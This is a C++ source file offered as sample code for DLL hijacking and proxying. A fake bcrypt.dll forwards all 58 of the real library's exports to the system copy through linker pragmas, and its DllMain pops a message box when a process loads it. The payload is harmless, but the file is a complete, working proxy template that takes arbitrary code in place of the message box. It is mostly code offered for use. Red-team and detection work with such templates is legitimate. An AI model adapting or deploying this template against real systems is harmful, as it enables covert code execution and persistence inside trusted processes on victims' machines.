Sample C++ code for DLL hijacking/proxying using bcrypt.dll

fake-bcrypt.cpp

#include "pch.h"

/* Forward All Bcrypt.dll exports */
#pragma comment(linker, "/export:BCryptAddContextFunction=C:\\windows\\system32\\bcrypt.BCryptAddContextFunction,@1")
#pragma comment(linker, "/export:BCryptAddContextFunctionProvider=C:\\windows\\system32\\bcrypt.BCryptAddContextFunctionProvider,@2")
#pragma comment(linker, "/export:BCryptCloseAlgorithmProvider=C:\\windows\\system32\\bcrypt.BCryptCloseAlgorithmProvider,@3")
#pragma comment(linker, "/export:BCryptConfigureContext=C:\\windows\\system32\\bcrypt.BCryptConfigureContext,@4")
#pragma comment(linker, "/export:BCryptConfigureContextFunction=C:\\windows\\system32\\bcrypt.BCryptConfigureContextFunction,@5")
#pragma comment(linker, "/export:BCryptCreateContext=C:\\windows\\system32\\bcrypt.BCryptCreateContext,@6")
#pragma comment(linker, "/export:BCryptCreateHash=C:\\windows\\system32\\bcrypt.BCryptCreateHash,@7")
#pragma comment(linker, "/export:BCryptCreateMultiHash=C:\\windows\\system32\\bcrypt.BCryptCreateMultiHash,@8")
#pragma comment(linker, "/export:BCryptDecrypt=C:\\windows\\system32\\bcrypt.BCryptDecrypt,@9")
#pragma comment(linker, "/export:BCryptDeleteContext=C:\\windows\\system32\\bcrypt.BCryptDeleteContext,@10")
#pragma comment(linker, "/export:BCryptDeriveKey=C:\\windows\\system32\\bcrypt.BCryptDeriveKey,@11")
#pragma comment(linker, "/export:BCryptDeriveKeyCapi=C:\\windows\\system32\\bcrypt.BCryptDeriveKeyCapi,@12")
#pragma comment(linker, "/export:BCryptDeriveKeyPBKDF2=C:\\windows\\system32\\bcrypt.BCryptDeriveKeyPBKDF2,@13")
#pragma comment(linker, "/export:BCryptDestroyHash=C:\\windows\\system32\\bcrypt.BCryptDestroyHash,@14")
#pragma comment(linker, "/export:BCryptDestroyKey=C:\\windows\\system32\\bcrypt.BCryptDestroyKey,@15")
#pragma comment(linker, "/export:BCryptDestroySecret=C:\\windows\\system32\\bcrypt.BCryptDestroySecret,@16")
#pragma comment(linker, "/export:BCryptDuplicateHash=C:\\windows\\system32\\bcrypt.BCryptDuplicateHash,@17")
#pragma comment(linker, "/export:BCryptDuplicateKey=C:\\windows\\system32\\bcrypt.BCryptDuplicateKey,@18")
#pragma comment(linker, "/export:BCryptEncrypt=C:\\windows\\system32\\bcrypt.BCryptEncrypt,@19")
#pragma comment(linker, "/export:BCryptEnumAlgorithms=C:\\windows\\system32\\bcrypt.BCryptEnumAlgorithms,@20")
#pragma comment(linker, "/export:BCryptEnumContextFunctionProviders=C:\\windows\\system32\\bcrypt.BCryptEnumContextFunctionProviders,@21")
#pragma comment(linker, "/export:BCryptEnumContextFunctions=C:\\windows\\system32\\bcrypt.BCryptEnumContextFunctions,@22")
#pragma comment(linker, "/export:BCryptEnumContexts=C:\\windows\\system32\\bcrypt.BCryptEnumContexts,@23")
#pragma comment(linker, "/export:BCryptEnumProviders=C:\\windows\\system32\\bcrypt.BCryptEnumProviders,@24")
#pragma comment(linker, "/export:BCryptEnumRegisteredProviders=C:\\windows\\system32\\bcrypt.BCryptEnumRegisteredProviders,@25")
#pragma comment(linker, "/export:BCryptExportKey=C:\\windows\\system32\\bcrypt.BCryptExportKey,@26")
#pragma comment(linker, "/export:BCryptFinalizeKeyPair=C:\\windows\\system32\\bcrypt.BCryptFinalizeKeyPair,@27")
#pragma comment(linker, "/export:BCryptFinishHash=C:\\windows\\system32\\bcrypt.BCryptFinishHash,@28")
#pragma comment(linker, "/export:BCryptFreeBuffer=C:\\windows\\system32\\bcrypt.BCryptFreeBuffer,@29")
#pragma comment(linker, "/export:BCryptGenRandom=C:\\windows\\system32\\bcrypt.BCryptGenRandom,@30")
#pragma comment(linker, "/export:BCryptGenerateKeyPair=C:\\windows\\system32\\bcrypt.BCryptGenerateKeyPair,@31")
#pragma comment(linker, "/export:BCryptGenerateSymmetricKey=C:\\windows\\system32\\bcrypt.BCryptGenerateSymmetricKey,@32")
#pragma comment(linker, "/export:BCryptGetFipsAlgorithmMode=C:\\windows\\system32\\bcrypt.BCryptGetFipsAlgorithmMode,@33")
#pragma comment(linker, "/export:BCryptGetProperty=C:\\windows\\system32\\bcrypt.BCryptGetProperty,@34")
#pragma comment(linker, "/export:BCryptHash=C:\\windows\\system32\\bcrypt.BCryptHash,@35")
#pragma comment(linker, "/export:BCryptHashData=C:\\windows\\system32\\bcrypt.BCryptHashData,@36")
#pragma comment(linker, "/export:BCryptImportKey=C:\\windows\\system32\\bcrypt.BCryptImportKey,@37")
#pragma comment(linker, "/export:BCryptImportKeyPair=C:\\windows\\system32\\bcrypt.BCryptImportKeyPair,@38")
#pragma comment(linker, "/export:BCryptKeyDerivation=C:\\windows\\system32\\bcrypt.BCryptKeyDerivation,@39")
#pragma comment(linker, "/export:BCryptOpenAlgorithmProvider=C:\\windows\\system32\\bcrypt.BCryptOpenAlgorithmProvider,@40")
#pragma comment(linker, "/export:BCryptProcessMultiOperations=C:\\windows\\system32\\bcrypt.BCryptProcessMultiOperations,@41")
#pragma comment(linker, "/export:BCryptQueryContextConfiguration=C:\\windows\\system32\\bcrypt.BCryptQueryContextConfiguration,@42")
#pragma comment(linker, "/export:BCryptQueryContextFunctionConfiguration=C:\\windows\\system32\\bcrypt.BCryptQueryContextFunctionConfiguration,@43")
#pragma comment(linker, "/export:BCryptQueryContextFunctionProperty=C:\\windows\\system32\\bcrypt.BCryptQueryContextFunctionProperty,@44")
#pragma comment(linker, "/export:BCryptQueryProviderRegistration=C:\\windows\\system32\\bcrypt.BCryptQueryProviderRegistration,@45")
#pragma comment(linker, "/export:BCryptRegisterConfigChangeNotify=C:\\windows\\system32\\bcrypt.BCryptRegisterConfigChangeNotify,@46")
#pragma comment(linker, "/export:BCryptRegisterProvider=C:\\windows\\system32\\bcrypt.BCryptRegisterProvider,@47")
#pragma comment(linker, "/export:BCryptRemoveContextFunction=C:\\windows\\system32\\bcrypt.BCryptRemoveContextFunction,@48")
#pragma comment(linker, "/export:BCryptRemoveContextFunctionProvider=C:\\windows\\system32\\bcrypt.BCryptRemoveContextFunctionProvider,@49")
#pragma comment(linker, "/export:BCryptResolveProviders=C:\\windows\\system32\\bcrypt.BCryptResolveProviders,@50")
#pragma comment(linker, "/export:BCryptSecretAgreement=C:\\windows\\system32\\bcrypt.BCryptSecretAgreement,@51")
#pragma comment(linker, "/export:BCryptSetAuditingInterface=C:\\windows\\system32\\bcrypt.BCryptSetAuditingInterface,@52")
#pragma comment(linker, "/export:BCryptSetContextFunctionProperty=C:\\windows\\system32\\bcrypt.BCryptSetContextFunctionProperty,@53")
#pragma comment(linker, "/export:BCryptSetProperty=C:\\windows\\system32\\bcrypt.BCryptSetProperty,@54")
#pragma comment(linker, "/export:BCryptSignHash=C:\\windows\\system32\\bcrypt.BCryptSignHash,@55")
#pragma comment(linker, "/export:BCryptUnregisterConfigChangeNotify=C:\\windows\\system32\\bcrypt.BCryptUnregisterConfigChangeNotify,@56")
#pragma comment(linker, "/export:BCryptUnregisterProvider=C:\\windows\\system32\\bcrypt.BCryptUnregisterProvider,@57")
#pragma comment(linker, "/export:BCryptVerifySignature=C:\\windows\\system32\\bcrypt.BCryptVerifySignature,@58")




BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        MessageBoxA(NULL, "Hi from @nazmarkuta", "Window Title", 0);
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}